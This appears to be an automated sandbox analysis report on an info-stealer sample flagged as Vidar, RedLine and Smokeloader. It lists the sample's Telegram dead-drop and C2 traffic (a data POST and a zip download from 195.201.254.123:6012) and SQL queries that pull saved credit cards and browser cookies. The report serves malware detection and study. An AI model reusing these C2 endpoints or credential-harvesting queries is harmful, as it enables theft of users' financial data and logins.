Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.
Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogor
Source: file.exe, 00000001.00000002.3707864447.000000000464E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogorL
Source: file.exe, 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogorracvotsp1.zipMozilla/5.0
Source: file.exe, 00000001.00000002.3707864447.000000000464E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogorv
Source: file.exe, 00000001.00000002.3721084273.0000000004A5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/vogogorx
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.autoitscript.com/cgi-bin/getfile.pl?autoit3/autoit-v3-setup.zip
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.autoitscript.com/files/autoit3/autoit-v3-setup.zipQ
Source: file.exe, 00000001.00000003.1536347021.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3729994076.000000001157C000.00000004.00000020.00020000.00000000.sdmp, 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.autoitscript.com/site/autoit/downloads/https://www.autoitscript.com/site/Sun
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.1.dr, mozglue.dll.1.dr, nss3.dll.1.dr, freebl3.dll.1.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 37707990510604932654966133.1.dr, 60379239670748708072323449.1.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/chrome/
Source: 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/chrome/Google
Source: file.exe, 00000001.00000002.3730149645.000000001198E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000003.1564532439.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=1&installdataindex=empty&defaultbrowser=0
Source: 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/chrome/thank-you.html?statcb=1&installdataindex=empty&defaultbrowser=0Google
Source: 60379239670748708072323449.1.dr	String found in binary or memory: https://www.google.com/favicon.ico
Source: file.exe, 00000001.00000003.1565422518.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 38345013959471306846242542.1.dr, 93702365600485792059963927.1.dr	String found in binary or memory: https://www.google.com/https://www.google.com/chrome/Thu
Source: 00440746450577075373182215.1.dr, 59242670612831660624168672.1.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=microsoft&oq=microsoft&gs_lcrp=EgZjaHJvbWUqEAgAEAAYgwEY4wIYsQMYgAQyE
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=microsoft&sourceid=chrome&ie=UTF-8microsoft
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=microsoft&sourceid=chrome&ie=UTF-8microsoftt
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=test&oq=test&aqs=chrome..69i57j0i131i433i512j0i512j0i131i433i512l2j0
Source: 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/search?q=test&sourceid=chrome&ie=UTF-8test
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dmicrosoft%26oq%3Dmic
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.google.com/sorry/index?continue=https://www.google.com/search%3Fq%3Dtest%26oq%3Dtest%26a
Source: 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000001.00000003.1536347021.0000000010EB7000.00000004.00000020.00020000.00000000.sdmp, 30562671907380543272507388.1.dr, 05817041688375942296226764.1.dr	String found in binary or memory: https://www.mozilla.org/
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/firefox/115.0.3/whatsnew/?oldversion=98.0.2
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/firefox/115.0.3/whatsnew/?oldversion=98.0.2What
Source: file.exe, 00000001.00000002.3729994076.000000001157C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/firefox/download/thanks/
Source: 05817041688375942296226764.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/firefox/download/thanks/https://www.mozilla.org/en-GB/firefox/new/
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/115.0.3/whatsnew/?oldversion=98.0.2
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/115.0.3/whatsnew/?oldversion=98.0.2gro.allizom.www.
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/central/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/firefox/central/gro.allizom.www.
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/media/protocol/img/logos/firefox/browser/og.4ad05d4125a5.png
Source: file.exe, 00000001.00000002.3729784367.000000001116C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000001.00000003.1509460859.000000001103E000.00000004.00000020.00020000.00000000.sdmp, 77364074545019038892817732.1.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----4389493767942367User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012Content-Length: 126637Connection: Keep-AliveCache-Control: no-cache

Source: unknown

DNS traffic detected: queries for: t.me

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0040E600 DeleteUrlCacheEntry,DeleteUrlCacheEntry,InternetOpenA,InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

Source: global traffic	HTTP traffic detected: GET /vogogor HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0Host: t.me
Source: global traffic	HTTP traffic detected: GET /b2ced91faf30889899f34458f95b8e93 HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012
Source: global traffic	HTTP traffic detected: GET /sp1.zip HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13Host: 195.201.254.123:6012Cache-Control: no-cache

Source: unknown

HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.8:49773 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 Author: unknown

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: Process Memory Space: file.exe PID: 7912, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004294F0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00408740
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00427090
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004270B8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043C33D
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00438380
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043E4FF
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043D4BB
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B541
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B55C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B56C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B568
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B5E8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B668
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B674
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B614
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B620
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B62C
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004066C8
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004066A0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0044B6BC
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00438768
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043777B
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_00427730
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_004087BE
Source: C:\Users\user\Desktop\file.exe	Code function: 1_2_0043C88E

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00401090 appears 131 times

Source: file.exe, 00000001.00000000.1220167638.000000000243D000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamepetting.exe> vs file.exe
Source: file.exe, 00000001.00000003.1501124219.0000000010A11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevcruntime140.dll^ vs file.exe
Source: file.exe, 00000001.00000002.3729241460.0000000010A10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamefreebl3.dll0 vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenamepetting.exe> vs file.exe

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

ReversingLabs: Detection: 65%

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@1/2

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0041F770 CoCreateInstance,SysAllocString,SysFreeString,SysFreeString,SysFreeString,

Source: softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cardsz;y
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies};x
Source: file.exe, 00000001.00000002.3696575131.000000000259D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies{;y
Source: softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: 41854390081158473842695081.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000001.00000002.3729067726.00000000108F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000001.00000002.3730733535.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_0041F820 CreateToolhelp32Snapshot,Process32First,Process32Next,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,Process32Next,CloseHandle,

Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
Source: C:\Users\user\Desktop\file.exe	Command line argument: Indian
Source: C:\Users\user\Desktop\file.exe	Command line argument: politician
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: former
Source: C:\Users\user\Desktop\file.exe	Command line argument: member
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: 10th
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lok
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sabha
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: lower
Source: C:\Users\user\Desktop\file.exe	Command line argument: house
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: Parliament
Source: C:\Users\user\Desktop\file.exe	Command line argument: India
Source: C:\Users\user\Desktop\file.exe	Command line argument: and
Source: C:\Users\user\Desktop\file.exe	Command line argument: also
Source: C:\Users\user\Desktop\file.exe	Command line argument: the
Source: C:\Users\user\Desktop\file.exe	Command line argument: granddaughter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Freedom
Source: C:\Users\user\Desktop\file.exe	Command line argument: Fighter
Source: C:\Users\user\Desktop\file.exe	Command line argument: Rameshwar
Source: C:\Users\user\Desktop\file.exe	Command line argument: Prasad
Source: C:\Users\user\Desktop\file.exe	Command line argument: Sinha
Source: C:\Users\user\Desktop\file.exe	Command line argument: Lovely
Source: C:\Users\user\Desktop\file.exe	Command line argument: Anand
